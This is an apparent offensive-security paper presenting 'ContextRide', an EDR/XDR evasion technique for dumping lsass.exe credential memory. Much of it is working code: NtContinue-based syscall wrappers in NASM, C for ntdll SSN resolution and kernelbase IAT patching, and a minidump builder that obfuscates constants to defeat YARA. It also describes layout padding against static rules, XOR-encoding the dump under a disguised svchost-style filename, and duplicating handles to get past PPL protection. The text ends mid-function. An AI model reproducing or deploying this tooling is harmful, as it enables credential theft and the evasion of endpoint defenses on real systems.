

ContextRide: NtContinue as an Execution Primitive for EDR/XDR Evasion in Userland

Author: Danilo Albuquerque

Abstract

Modern Endpoint Detection and Response (EDR) and Extended Detection and Response (XDR) solutions have evolved well beyond simple function interception in `ntdll.dll`. The current detection surface encompasses on-write static scanning of PE files, call stack analysis to identify anomalous system calls, Protected Process Light (PPL) enforcement over critical processes, and behavioral telemetry via ETW. These layers have rendered classical evasion techniques (direct syscalls, indirect syscalls with custom stubs, use of `MiniDumpWriteDump`) progressively ineffective against any modern security product.

This paper introduces **ContextRide**, a technique that uses `NtContinue` as an indirect syscall execution primitive, preserving a call stack with legitimate frames from `ntdll.dll` and `kernelbase.dll` while leaving no detectable stubs outside `ntdll.dll` in memory. Unlike approaches such as SysWhispers2/3 — which produce detectable anomalous call stacks — and extending beyond HookChain [10], which achieves call stack legitimacy via IAT patching but does not address static scanning, in-memory dump format, or PPL, ContextRide evades call stack detection based on frame-address verification without fabricating synthetic frames, bypassing hook-based interception and static scanning, and operationally addressing PPL via handle duplication.

Complementary techniques complete the toolchain: a custom Minidump builder that avoids `MiniDumpWriteDump`; in-memory MDMP format construction with sensitive constant obfuscation via `volatile` (effective against byte-exact YARA pattern matching; not a substitute for data-flow analysis protection); semantic binary padding to circumvent position-sensitive YARA rules; and separation of detectable MDMP structure writing to Python post-processing outside the target host. The complete toolchain was validated against 15 EDR/XDR products on Windows 11 builds 26100 and 26200, producing a functional `lsass.exe` dump without triggering any detection layer in 5 of the 8 products tested to date, with testing ongoing across the remaining 7 products.

Keywords: ContextRide, NtContinue, Indirect Syscalls, EDR/XDR Bypass, LSASS Dump, YARA Evasion, PPL Handle Acquisition, Call Stack Legitimacy, Windows Internals

1. Introduction

1.1 Context

Endpoint Detection and Response (EDR) and Extended Detection and Response (XDR) systems have become the primary defense mechanism in modern corporate environments. Unlike traditional antivirus solutions, these products operate simultaneously across multiple layers: userland function hooking, kernel-mode drivers with callbacks for process creation and image loading, static scanning of PE files at write time, and telemetry collection via Event Tracing for Windows (ETW) [1].

This escalating defensive capability has generated a documented arms race: as offensive techniques such as Heaven's Gate, direct syscalls, and SysWhispers became widely known and incorporated into frameworks like Cobalt Strike and Metasploit, security vendors added specific detections for each of them. Today, a binary that simply calls `NtOpenProcess` followed by `NtReadVirtualMemory` against `lsass.exe`, even using indirect syscalls, is frequently blocked before execution via static PE analysis or flagged during execution via call stack inspection.

Existing bypass techniques address these detection layers in isolation: direct syscalls bypass userland hooks but produce anomalous call stacks; existing indirect syscall approaches (SysWhispers2/3) improve call stack legitimacy but not fully; YARA evasion techniques address static detection but not behavioral detection. No published technique addresses all layers simultaneously without leaving a detectable artifact.

The central question motivating this work is: **is it possible to execute sensitive system calls and obtain memory reads from a PPL-protected process, in an environment with a modern EDR/XDR active, without triggering any detection layer at any point in the execution chain?**

1.2 The Multi-Layer Detection Problem

Modern EDR/XDR products compose their detection capability from at least four independent layers, each of which must be addressed independently:

Layer 1: On-write static detection: Most modern security products install minifilter drivers that intercept write operations. When a PE is written to disk, its content is scanned with YARA rules and ML classifiers before the write is completed. Patterns associated with known dumping tools (MINIDUMP structures, calls to `MiniDumpWriteDump`, revealing import table entries) trigger immediate blocking.

Layer 2: Dynamic detection via userland hook: Hooks installed in `ntdll.dll` intercept calls to sensitive functions such as `NtOpenProcess` and `NtReadVirtualMemory`, allowing the

security product to inspect parameters before the call reaches the kernel. Direct and classic indirect syscall techniques exist to bypass these hooks, but both leave detectable traces.

Layer 3: Call stack inspection: A critical capability present in advanced EDR/XDR products: at the moment of a sensitive system call, the call stack is walked and each frame is verified. A frame that does not originate from a known, signed module, or that skips the expected `kernelbase.dll → ntdll.dll → syscall` chain, is flagged as anomalous evidence of execution hijacking [2].

Layer 4: Protected Process Light (PPL): The `lsass.exe` process is frequently configured with `RunAsPPL=1`, which enforces a kernel-level protection that prevents any non-PPL process from opening a handle with memory-read permissions, regardless of the caller's token privileges [3]. No userland technique bypasses this restriction directly; ContextRide addresses it operationally via handle duplication (Section 6).

HookChain [10] addresses userland hook bypass and call stack legitimacy via IAT patching on subsystem DLLs combined with an indirect syscall executor (SyscallExec) that preserves `kernelbase` frames on the stack. However, it does not address static scanning, in-memory dump format, or PPL — and its dispatch mechanism (a JMP from external code into `ntdll`) remains exposed to granular control-flow analysis. ContextRide addresses all four layers by using `NtContinue` as an execution primitive, delegating the jump to the kernel rather than executing it directly from external code.

1.3 Contributions

This paper makes the following original contributions:

1. **ContextRide: NtContinue as an execution primitive.** We demonstrate that `NtContinue`, whose original purpose is to restore a thread's context after exception handling, can be repurposed as a vector for indirect system calls that produce a call stack that evades frame-address-based detection — without introducing stubs outside `ntdll.dll` in executable memory. Detection of this technique requires cryptographic module integrity verification combined with behavioral call chain modeling (Section 7.4).
2. **Custom MDMP builder.** A complete implementation of the Minidump format in pure C, without invoking `MiniDumpWriteDump` or any documented dumping function, with format constant obfuscation via `volatile` bytes to evade detection by byte-exact YARA static scanning.
3. **Position-sensitive YARA evasion.** Empirical documentation of a pattern in static detection engines in which the same byte sequence is flagged at a specific PE offset but not at another, together with a semantic padding strategy for binary layout control that exploits this behavior.

4. **Cross-host MDMP reconstruction.** Removal of all detectable MDMP structure-writing code from the target-side binary, with proprietary serialization of module information and full reconstruction of the `ModuleListStream` in Python on the analyst's host.

1.4 Scope and Limitations

The scope of this work is restricted to Windows x64 processes in userland (ring 3). The demonstrated techniques do not rely on kernel-mode drivers, do not involve bypasses of Kernel Patch Protection (KPP/PatchGuard), and do not apply to scenarios where Credential Guard (VBS/VSM) is active; in that case, cryptographic key material is isolated in VTL1 and is not accessible via `lsass.exe` memory dumps by any userland technique.

The handle acquisition technique for PPL-protected processes (Section 6) is not a bypass of the PPL kernel enforcement mechanism: it is an operational mitigation that exploits the semantics of duplicating existing handles. Its effectiveness depends on the presence of handles with sufficient permissions held by system processes in the target environment.

The `volatile` constant obfuscation (Section 4.3) is effective against byte-exact pattern matching (YARA). It does not provide protection against data-flow analysis or immediate reconstruction by advanced static analysis tools; the XOR encoding of the on-disk artifact (Section 5.4) addresses that additional layer.

1.5 Ethics

All experiments were conducted in controlled environments with valid licensing. This work does not aim to classify or depreciate security products, but to contribute to mutual understanding of offensive and defensive capabilities, motivating the development of more robust detection mechanisms.

2. Background

2.1 Modern EDR/XDR Detection Architecture

Despite differences in implementation across vendors, modern EDR/XDR products share a common architectural pattern composed of at least four cooperating subsystems:

Static scanner: Implemented as a file system minifilter driver, it intercepts write operations (`IRP_MJ_WRITE` and `IRP_MJ_SET_INFORMATION`) and submits file content to static analysis engines (YARA rules, signature databases, ML classifiers) before the write is confirmed to the calling process. This layer operates on disk artifacts and is vendor-agnostic in its fundamental mechanism.

Userland hooking: An agent DLL is injected into monitored processes. This DLL installs inline hooks in `ntdll.dll`, typically overwriting the first bytes of sensitive functions with a `JMP` instruction to the security product's inspection code. This allows parameter inspection and selective call suppression before the transition to kernel mode.

Kernel-mode driver: Registers callbacks via `PsSetCreateProcessNotifyRoutine`, `PsSetLoadImageNotifyRoutine`, and `ObRegisterCallbacks`. Via `ObRegisterCallbacks`, the product can intercept handle operations and strip permissions (including `PROCESS_VM_READ`) from handles opened to protected processes, even when the kernel would otherwise grant them. This mechanism operates independently of the syscall technique employed and is addressed by the handle fallback chain in Section 6.3.

Behavioral telemetry (ETW-TI): An ETW provider operating in kernel mode that records sensitive system call events with full call stack context, enabling correlation of individual events into behavioral patterns. This is the foundation of call stack anomaly detection. Advanced XDR products may correlate syscall sequences (e.g., `NtQuerySystemInformation` → `NtDuplicateObject` → `NtReadVirtualMemory`) as behavioral dumping patterns, independently of individual call stack legitimacy.

The interaction between these subsystems creates a detection surface that is difficult to bypass piecemeal: defeating the userland hook layer without addressing call stack inspection still generates a telemetry event; evading static detection without evading the hook still allows the EDR to block the call.

2.2 Relevant Windows Internals

2.2.1 System Service Dispatching

The transition from userland (ring 3) to the kernel (ring 0) on Windows x64 operates via the `syscall` instruction, which transfers execution to the `KiSystemCall64` handler. Register `EAX` must contain the System Service Number (SSN), an index into the System Service Descriptor Table (SSDT) identifying which kernel function to execute [5].

```
; Typical Nt* stub in ntdll.dll (no hook)
0:002> u ntdll!NtReadVirtualMemory
ntdll!NtReadVirtualMemory:
00007ffe`a2c0d090 4c8bd1      mov     r10,rcx
00007ffe`a2c0d093 b83f000000 mov     eax,3Fh      ; SSN = 0x3F
00007ffe`a2c0d098 f604250803fe7f01 test byte ptr [SharedUserData+0x308],1
00007ffe`a2c0d0a0 7503        jne     ntdll!NtReadVirtualMemory+0x15
00007ffe`a2c0d0a2 0f05        syscall
00007ffe`a2c0d0a4 c3          ret
```

When a security product installs a hook, the first bytes are replaced with a `JMP` to the agent's code:

```
; Same stub with EDR hook installed
ntdll!NtReadVirtualMemory:
00007ffe`a2c0d090 e96b4a1e00 jmp     00007ffe`c0de1b00    ; <- hook
00007ffe`a2c0d095 b83f000000 mov     eax,3Fh
00007ffe`a2c0d0a2 0f05      syscall
00007ffe`a2c0d0a4 c3        ret
```

2.2.2 NtContinue: Original Purpose and Behavior

`NtContinue` is a `ntdll.dll` function whose original purpose is to restore the state of a thread from a `CONTEXT` structure after exception handling or APC delivery [5]. Its signature:

```
NTSTATUS NtContinue(
    PCONTEXT ThreadContext, // CONTEXT with desired state
    BOOLEAN  RaiseAlert     // if TRUE, sends alert to thread
);
```

Internally, `NtContinue` invokes its own `syscall`, which in the kernel restores all registers (including `RIP`, `RSP`, `RFLAGS`, and general-purpose registers) from the provided `CONTEXT`. Thread execution resumes at `ThreadContext->Rip`. This is the mechanism `ContextRide` exploits.

2.2.3 Import Address Table (IAT) and Image Loader

During PE loading, the Image Loader populates the IAT with the real address of each imported function. The IAT is a writable memory region modifiable at runtime without special privilege elevation [5]. Redirecting entries in `kernelbase.dll`'s IAT to `ContextRide` wrapper functions allows interception of all API calls through the `NtContinue` chain without modifying any third-party binary.

2.2.4 Protected Process Light (PPL)

Starting with Windows 8.1, PPL assigns a protection level (`EPROCESS.Protection`) that restricts which other processes may open handles with elevated permissions [3].

```
lkd> dt nt!_EPROCESS lsass.exe Protection
+0x87a Protection : _PS_PROTECTION
+0x000 Level      : 0x31 ; PsProtectedSignerLsa-Light
```

With `RunAsPPL=1`, even a process running as `NT AUTHORITY\SYSTEM` with `SeDebugPrivilege` receives `STATUS_ACCESS_DENIED (0xC0000022)` when attempting `NtOpenProcess` with `PROCESS_VM_READ` against `lsass.exe`. The enforcement occurs at the kernel level, independently of any EDR/XDR product and independently of the syscall technique employed. `ContextRide` addresses this layer operationally via handle duplication (Section 6), not by bypassing the protection mechanism itself.

2.3 Existing Hook Bypass Techniques and Their Limitations

2.3.1 Direct Syscalls

Implement the syscall stub directly in attacker code, bypassing the hooked `ntdll.dll`:

```
NtReadVirtualMemory_stub:
    mov r10, rcx
    mov eax, 3Fh           ; hardcoded SSN
    syscall
    ret
```

Limitation: The EDR/XDR verifies whether the return address of a syscall points inside `ntdll.dll`. When the `syscall` instruction is in attacker code, the return address points outside `ntdll.dll`, producing a call stack anomaly that is detectable via ETW-TI [6]. Additionally, the pattern `mov r10,rcx / mov eax,<SSN> / syscall` in executable memory outside `ntdll.dll` is a YARA signature target.

2.3.2 Indirect Syscalls (SysWhispers2/3)

Execute the `syscall` instruction inside `ntdll.dll` via a JMP trampoline:

```
NtReadVirtualMemory_trampoline:
    mov r10, rcx
    mov eax, [resolved_SSN]
    jmp qword ptr [ntdll_syscall_addr] ; jump to "syscall" inside ntdll
```

Limitation: While the return address now points inside `ntdll.dll`, the call stack remains anomalous: the frame immediately preceding the `syscall` instruction inside `ntdll.dll` should originate from `kernelbase.dll` or `kernel32.dll`, not from arbitrary attacker code. Advanced EDR/XDR products detect this inconsistency via full call stack walking [2].

2.3.3 HalosGate and Variants

HalosGate [7] resolves the SSN when the target function in `ntdll.dll` is hooked by searching neighboring unhooked exports and deriving the SSN by index offset. It is an improvement in

SSN resolution resilience but does not address the call stack legitimacy problem.

2.3.4 HookChain

HookChain [10] is the most comprehensive pre-existing approach to userland EDR bypass. It combines three components: dynamic SSN extraction via HalosGate; IAT patching on subsystem DLLs (kernel32, kernelbase, bcrypt, and others) to intercept Nt/Zw calls before they reach `ntdll.dll`; and an indirect syscall executor (SyscallExec) that uses `sub rsp, 08h` plus the address of the `syscall` instruction inside `ntdll` plus `ret` to jump to the syscall while preserving the `kernelbase.dll` frame on the stack — a result confirmed empirically in Figures 19 and 22 of the original paper [10].

Limitation: HookChain's final dispatch mechanism is a JMP from external code (HookChain.exe) into `ntdll.dll` — a control-flow pattern potentially detectable by EDRs with CFI-based analysis. Additionally, HookChain does not address on-write static scanning (YARA/ML), in-memory dump format, or PPL.

3. ContextRide: NtContinue Execution Chain

3.1 Core Insight

The central observation that motivates ContextRide is: **NtContinue is a native function that, when executed, transfers control to any arbitrary address with any arbitrary register state, and it does so via a syscall that originates legitimately from within `ntdll.dll`.**

When a call to `NtContinue` is used to redirect execution into the `syscall` instruction of another `ntdll!NtXxx` function, two properties hold simultaneously:

1. The `syscall` instruction executes from within `ntdll.dll`, satisfying frame-address-based return-address verification performed by the security product.
2. The frame in the call stack immediately above the `syscall` is a legitimate `kernelbase.dll` frame (from the IAT-patched wrapper), satisfying any full call stack walk based on frame-address verification.

Note: both properties refer to frame-address verification (module membership of signed modules). A deeper check — validating that `kernelbase!<function>` was invoked through its documented caller, or detecting the presence of `NtContinue` in call chains of sensitive operations — may identify the technique (Section 7.4).

HookChain [10] achieves a similar result: by intercepting calls in the `kernelbase/kernel32` IAT and using its SyscallExec routine to preserve the `kernelbase` frame on the stack. ContextRide differs by eliminating the JMP from external code into `ntdll`, replacing it with a legitimate call to

NtContinue, and by extending evasion to the static scanning, in-memory dump format, and PPL layers that HookChain does not address.

3.2 Call Stack Analysis

The table below compares call stacks produced by each approach at the moment of the sensitive system call:

Direct Syscall:	Indirect (SysWhispers3):	ContextRide:
KiSystemCall64 [stub in attacker .text] ntdll!NtOpenProcess+0xA <- ANOMALOUS kernelbase!OpenProcess LEGITIMATE check)	KiSystemCall64 ntdll!NtOpenProcess+0xA [trampoline] <- ANOMALOUS	KiSystemCall64 [IAT wrapper] <- (by frame-address

ContextRide is the only approach that produces a legitimate call chain under frame-address verification at the moment of the sensitive system call. This property holds for products that perform call stack inspection via frame-address module membership verification, as it reflects the actual state of the call stack in the Windows thread execution model.

3.3 CONTEXT Preparation

For each target NtXxx function, the CONTEXT structure is prepared according to the AMD64 calling convention [8]:

- Rip : address of the syscall instruction inside ntdll!NtXxx (located by scanning for the 0F 05 opcode after the mov eax, <SSN>)
- Rcx : 1st argument
- Rdx : 2nd argument
- R8 : 3rd argument
- R9 : 4th argument
- Rsp : stack pointer pointing to the home space and any additional arguments

The preparation macro in NASM (x64 Windows):

```
; ind_syscall.asm -- CONTEXT preparation for ContextRide
```

```

; _CONTEXT field offsets (Windows x64, sizeof = 0x4D0 = 1232)
#define CONTEXT_SIZE      1232
#define CONTEXT_FULL      0x10000F
#define ContextFlags      0x30
#define Rip               0xF8
#define Rsp               0x98
#define Rcx               0x80
#define Rdx               0x88
#define R8                0xB8
#define R9                0xC0

section .data
    g_fn_table dq 0, 0, 0, 0, 0 ; table of syscall addresses per
function

section .text

; SYSCALL_WRAPPER: ContextRide wrapper per target function.
; These wrappers reside in the binary's .text section and are detectable via
; static scanning like any other compiled C code. The evasion property is
; runtime call stack legitimacy, not on-disk invisibility of the wrapper
itself.
%macro SYSCALL_WRAPPER 2 ; %1=table index, %2=export label
global %2
%2:
    push    rbx
    push    rsi
    push    rdi
    push    r12
    sub     rsp, CONTEXT_SIZE + 40

    ; Zero the CONTEXT
    lea     rdi, [rsp+40]
    xor     eax, eax
    mov     ecx, CONTEXT_SIZE
    rep     stosb

    mov     dword [rsp+40+ContextFlags], CONTEXT_FULL

    ; Rip = address of "syscall" opcode in ntdll!NtXxx
    mov     rax, [g_fn_table + %1*8]
    mov     [rsp+40+Rip], rax

    ; Forward arguments per AMD64 calling convention
    mov     [rsp+40+Rcx], rcx
    mov     [rsp+40+Rdx], rdx

```

```

mov     [rsp+40+R8], r8
mov     [rsp+40+R9], r9

; RSP -> return stack after NtContinue unwinds
lea     rax, [rsp+40+CONTEXT_SIZE+40+8*5]
mov     [rsp+40+Rsp], rax

; NtContinue(CONTEXT, FALSE)
lea     rcx, [rsp+40]
xor     edx, edx
call    NtContinue

add     rsp, CONTEXT_SIZE + 40
pop     r12
pop     rdi
pop     rsi
pop     rbx
ret

%endmacro

SYSCALL_WRAPPER 0, SysNtOpenProcess
SYSCALL_WRAPPER 1, SysNtReadVirtualMemory
SYSCALL_WRAPPER 2, SysNtQueryInformationProcess
SYSCALL_WRAPPER 3, SysNtClose

```

3.4 Dynamic SSN and Syscall Address Resolution

To populate `g_fn_table` without relying on the potentially-hooked `ntdll.dll`, we use RVA-ordering (equivalent to HalosGate [7]) to derive the SSN from the relative position of each export in the Export Address Table:

```

static BOOL ResolveNtFunctions(void) {
    PPEB peb = (PPEB)__readgsqword(0x60);
    BYTE* ntdll_base = NULL;
    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    for (PLIST_ENTRY e = head->Flink; e != head; e = e->Flink) {
        PLDR_DATA_TABLE_ENTRY m = CONTAINING_RECORD(e, LDR_DATA_TABLE_ENTRY,
            InMemoryOrderLinks);
        if (m->BaseDllName.Buffer && _wcsicmp(m->BaseDllName.Buffer,
            L"ntdll.dll") == 0) {
            ntdll_base = (BYTE*)m->DllBase; break;
        }
    }
    if (!ntdll_base) return FALSE;
}

```

```

PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll_base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ntdll_base + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
    ntdll_base + nt-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* names = (DWORD*)(ntdll_base + exp->AddressOfNames);
DWORD* funcs = (DWORD*)(ntdll_base + exp->AddressOfFunctions);
WORD* ordinals = (WORD*)(ntdll_base + exp->AddressOfNameOrdinals);

// Collect RVAs of all "Zw*" exports
// Zw* and Nt* share SSNs; Zw* appear in numerical SSN order
ZW_ENTRY entries[MAX_NT_FUNCS]; DWORD count = 0;
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
    char* name = (char*)(ntdll_base + names[i]);
    if (name[0]=='Z' && name[1]=='w')
        entries[count++].rva = funcs[ordinals[i]];
}
// Sort by RVA -- sorted position is the SSN
qsort(entries, count, sizeof(*entries), compare_rva);

// For each target function, find the "syscall" opcode (0F 05)
for (DWORD i = 0; i < count; i++) {
    BYTE* fn = ntdll_base + entries[i].rva;
    if (fn[0] == 0xE9) // hooked: derive SSN from unhooked neighbor
        fn = find_unhooked_neighbor(entries, i, count, ntdll_base);
    for (int j = 0; j < 32; j++) {
        if (fn[j] == 0x0F && fn[j+1] == 0x05) {
            g_fn_table[FUNC_IDX] = (ULONG64)(fn + j);
            break;
        }
    }
}
return TRUE;
}

```

3.5 IAT Patching on KernelBase

To produce a legitimate `kernelbase.dll` frame in the call stack without modifying any external binary, we redirect relevant entries in `kernelbase.dll`'s own IAT to our ContextRide wrappers:

```

static void PatchModuleIAT(PVOID module_base) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)module_base;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)module_base + dos-
>e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(

```

```

        (BYTE*)module_base +
        nt-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    while (imp->Name) {
        char* dll_name = (char*)((BYTE*)module_base + imp->Name);
        if (_stricmp(dll_name, "ntdll.dll") == 0) {
            PULONG_PTR iat = (PULONG_PTR)((BYTE*)module_base + imp-
>FirstThunk);
            PULONG_PTR hint = (PULONG_PTR)((BYTE*)module_base + imp-
>OriginalFirstThunk);
            for (; *hint; iat++, hint++) {
                PIMAGE_IMPORT_BY_NAME ibn =
                    (PIMAGE_IMPORT_BY_NAME)((BYTE*)module_base + *hint);
                if (strcmp(ibn->Name, "NtOpenProcess") == 0) {
                    DWORD old;
                    VirtualProtect(iat, 8, PAGE_READWRITE, &old);
                    *iat = (ULONG_PTR)SysNtOpenProcess;
                    VirtualProtect(iat, 8, old, &old);
                }
                // ... other target functions ...
            }
        }
        imp++;
    }
}

```

When `kernelbase!OpenProcess` is subsequently called by any code in the process, it will invoke `SysNtOpenProcess`, a `ContextRide` wrapper, through the patched IAT. The resulting call stack frame is genuine: it is a real `kernelbase.dll` frame, not a spoofed one.

4. Custom MDMP Builder

4.1 Why Avoid MiniDumpWriteDump

`MiniDumpWriteDump` is the documented WinAPI function for memory dump generation. It is universally monitored by security products: intercepted via hook at the `ntdll.dll` level, generating ETW-TI events when called, and trivially detected by static analysis via import table inspection. Our implementation constructs the Minidump format directly in memory, without invoking any documented dumping API.

4.2 Minidump Format Structure

The Minidump format [9] is a documented Microsoft format consisting of:

+-----+		
MINIDUMP_HEADER (32 bytes)		<- Signature, Version, StreamDir RVA
+-----+		
MINIDUMP_DIRECTORY[N] (N x 12 bytes)		<- type, size, RVA per stream
+-----+		
SystemInfoStream		<- architecture, OS version
+-----+		
ModuleListStream		<- loaded DLL list
+-----+		
Memory64ListStream		<- region table + raw memory data
MINIDUMP_MEMORY64_LIST header		
MINIDUMP_MEMORY_DESCRIPTOR64[M]		
[concatenated memory regions]		
+-----+		

4.3 Constant Obfuscation via Volatile

Static scanners target the Minidump format constants that are characteristic of dumping tools. The MDMP magic (4D 44 4D 50) and version marker A7 93 are primary targets. Maintaining these as literals in C code causes the compiler to emit recognizable 32-bit immediates via constant folding. Declaring each byte as `volatile` prevents the compiler from performing this optimization with `-O2`, forcing individual byte loads at runtime:

```
// Detectable -- 0x504D444D emitted as a single 32-bit immediate
static DWORD GetMdumpSignature(void) {
    return 0x504D444D; // "MDMP" -- static scan target
}

// Obfuscated -- no recognizable 32-bit immediate in the binary compiled
// with -O2
static DWORD ComputeMdumpSig(void) {
    volatile BYTE b0 = 0x4Du;
    volatile BYTE b1 = 0x44u;
    volatile BYTE b2 = 0x4Du;
    volatile BYTE b3 = 0x50u;
    return (DWORD)b0 | ((DWORD)b1 << 8) | ((DWORD)b2 << 16) | ((DWORD)b3 <<
24);
}
```

The assembly output for the obfuscated version with `-O2`:

```

; No recognizable 32-bit immediate -- each byte loaded individually
movzx  eax, byte ptr [rsp+8]    ; b0 = 0x4D
movzx  ecx, byte ptr [rsp+9]    ; b1 = 0x44
shl     ecx, 8 ; or  eax, ecx
movzx  ecx, byte ptr [rsp+10]   ; b2 = 0x4D
shl     ecx, 16 ; or  eax, ecx
movzx  ecx, byte ptr [rsp+11]   ; b3 = 0x50
shl     ecx, 24 ; or  eax, ecx

```

The same pattern is applied to stream type constants (7, 4, 9) and the version marker. This technique is effective against byte-exact pattern matching (YARA). Static analysis tools that reconstruct immediates via data-flow analysis (`movzx` + `shl` + `or` sequences) may identify the original value; the XOR encoding of the on-disk artifact (Section 5.4) addresses this additional layer.

4.4 Correct SystemInfoStream

The `SystemInfoStream` contains `MINIDUMP_SYSTEM_INFO0`, which analysis tools use to select the appropriate credential extraction template for the OS version. Two fields require careful handling:

CSDVersionRva: Must point to a valid `MINIDUMP_STRING`. Setting it to zero causes parsers to read adjacent data as a string pointer and attempt UTF-16-LE decoding, resulting in a `UnicodeDecodeError`. An empty 6-byte `MINIDUMP_STRING` (Length=0 + null `WCHAR`) is written immediately after the struct.

BuildNumber: Must reflect the actual OS build to enable correct template selection. Obtained dynamically via `RtlGetVersion`:

```

typedef NTSTATUS (WINAPI* PFN_RTV)(MY_OSVER*);
MY_OSVER rtv = { .sz = sizeof(rtv) };
PFN_RTV pfnRTV = (PFN_RTV)(PVOID)
    GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion");
if (pfnRTV) pfnRTV(&rtv);
si.BuildNumber = rtv.bld ? rtv.bld : 19041;

```

4.5 Memory Region Enumeration

The `Memory64ListStream` requires two passes over the target process memory regions via `NtQueryVirtualMemory` (through the `ContextRide` chain): the first to build the `MINIDUMP_MEMORY_DESCRIPTOR64` table, the second to read each region's content via `NtReadVirtualMemory`. A growing buffer with 64 MB block reallocation via

`VirtualAlloc / VirtualFree` handles the 70–120 MB typical dump size without upfront fixed allocation.

5. Static Detection Evasion

5.1 Position-Sensitive Static Rules: an Empirical Finding

During development and testing, we observed a behavior that reveals a weakness in how some static detection engines anchor pattern matching: **the same byte sequence may be detected when located at one offset within the PE but not when located at a different offset.**

We documented this empirically across binary iterations:

Version	Size	Content	Detected
diag_a	32.5 KB	OpenProcess + WriteFile	No
diag_b	37.0 KB	+ MDMP builder	No
diag_c	39.0 KB	+ WalkLsassModules + stub	No
v1	40.5 KB	+ real InjectModuleList	YES
v2	38.5 KB	stub removed (512B size drop)	YES
v3	40.5 KB	stub + semantic padding	No

Table 1: Detection progression across binary iterations. The regression in v2 demonstrates position-sensitivity: removing the original trigger displaced other code into the detection window.

The regression in v2 is the key observation: removing the original trigger function shrank the binary by ~512 bytes, which displaced unrelated MDMP builder code to a lower `.text` offset, where it matched the detection rule's positional condition. This is consistent with YARA rules using `at <offset>` conditions:

```
rule lsass_dumper {
  strings:
    $mdmp      = { 4D 44 4D 50 }
    $pattern_a = { 83 64 24 30 00 44 8B }
  condition:
    $mdmp at pe.sections[0].raw_data_offset + 0x1800 and $pattern_a
}
```


This finding implies that the relative positioning of functions within the binary is an exploitable factor: controlling the binary layout via semantic padding can maintain sensitive code at offsets outside active detection windows.

5.2 Semantic Padding

NOP bytes and dead data are eliminated by the compiler optimizer and therefore useless for layout control. The solution is to include semantically active code that cannot be removed.

`WalkLsassModules`, a function that enumerates the target process PEB via `NtReadVirtualMemory`, contributes ~600 bytes to `.text`, its output feeds the module serialization step (making it non-dead-code), and its presence prevents compiler removal:

```
LSASS_MOD* mods = VirtualAlloc(NULL, MAX_LSASS_MODS * sizeof(LSASS_MOD),
                                MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

DWORD modCount = 0;
if (mods) modCount = WalkLsassModules(hTarget, mods, MAX_LSASS_MODS);
// modCount feeds the custom module serialization below
```

Note that `WalkLsassModules`, like any function that reads `lsass.exe` memory, is itself a candidate behavioral signature in engines that analyze syscall sequences. Its use as semantic padding trades an offset-based signature for a functional one in engines with that capability; padding function selection should account for its own detectability in the target behavioral profile.

5.3 Cross-Host Separation of Detectable MDMP Structures

The `MINIDUMP_MODULE` structure (108 bytes, fixed stride, characteristic field offsets at `0x00`, `0x08`, `0x14`) produces assembly patterns that static scanners recognize regardless of constant obfuscation. The solution is to **completely remove from the target-side binary any code that writes `MINIDUMP_MODULE` structures**, serializing module information in a proprietary format instead:

```
// Proprietary serialization: no MDMP stride, no characteristic offsets
volatile BYTE vm0=0xCAu, vm1=0x11u, vm2=0xABu, vm3=0x1Eu;
DWORD magic = (DWORD)vm0 | ((DWORD)vm1<<8) | ((DWORD)vm2<<16) | ((DWORD)vm3<<24);
BufAppend(&buf, &magic, 4);
BufAppend(&buf, &modCount, 4);
for (DWORD i = 0; i < modCount; i++) {
    ULONG64 base = (ULONG64)(ULONG_PTR)mods[i].Base;
    BufAppend(&buf, &base, 8);
    BufAppend(&buf, &mods[i].Size, 4);
    USHORT nb = (USHORT)(mods[i].NameChars * 2);
    BufAppend(&buf, &nb, 2);
}
```

```
    BufAppend(&buf, mods[i].Name, nb);  
}
```

The full `ModuleListStream` (a valid `MINIDUMP_MODULE_LIST` with correct 108-byte entries) is reconstructed in Python on the analyst's host after file transfer and XOR decoding:

```
# decode_patch.py -- executed on the analyst host (off-target)  
MAGIC = 0x1EAB11CA # proprietary marker (wire bytes: CA 11 AB 1E)  
MOD_SZ = 108       # sizeof(MINIDUMP_MODULE)  
  
# 1. XOR-decode dump 2. find custom marker 3. parse module table  
# 4. build MINIDUMP_MODULE_LIST 5. patch dirs[1] RVA and Size in header
```

5.4 XOR Encoding of the On-Disk Artifact

The final buffer (dump data plus custom module table) is XOR-encoded (key = 0x42) before disk write, ensuring the file written to disk contains neither the `MDMP` magic nor any recognizable Minidump format pattern. The file is written under a non-descriptive name (`svchost_rpt_XXXX.dat`) to `%TEMP%`, avoiding both filename-based and content-based detection at write time.

```
for (SIZE_T i = 0; i < buf.used; i++)  
    buf.data[i] ^= (BYTE)DUMP_XOR_KEY;
```

6. Handle Acquisition in PPL Environments

6.1 The Problem with RunAsPPL

PPL enforcement occurs at the kernel level, independently of any EDR/XDR product. With `RunAsPPL=1`, `NtOpenProcess` returns `STATUS_ACCESS_DENIED` (0xC0000022) even for `NT AUTHORITY\SYSTEM` with `SeDebugPrivilege`. **No combination of userland technique, including ContextRide, bypasses this kernel-enforced restriction directly.** `ContextRide` addresses this layer via operational handle acquisition: exploiting the semantics of duplicating existing handles opened by authorized processes, without modifying the protection mechanism itself.

6.2 Handle Acquisition via NtQuerySystemInformation

System processes (Windows services, security agents, SCM components) routinely hold open handles to `lsass.exe` with permissions sufficient for memory reading. Critically, **the PPL**

check applies at handle open time, not at handle duplication time: duplicating an existing handle that was opened by an authorized process does not trigger the PPL verification.

The procedure:

1. Enumerate all system-wide handles via `NtQuerySystemInformation` (`SystemHandleInformation`).
2. For each handle belonging to a different process, duplicate it locally and verify its target is the correct `lsass.exe` PID via `NtQueryInformationProcess`.
3. Verify that `NtReadVirtualMemory` succeeds on the duplicated handle before using it.

```
HANDLE AcquireReadableHandle(DWORD targetPid) {
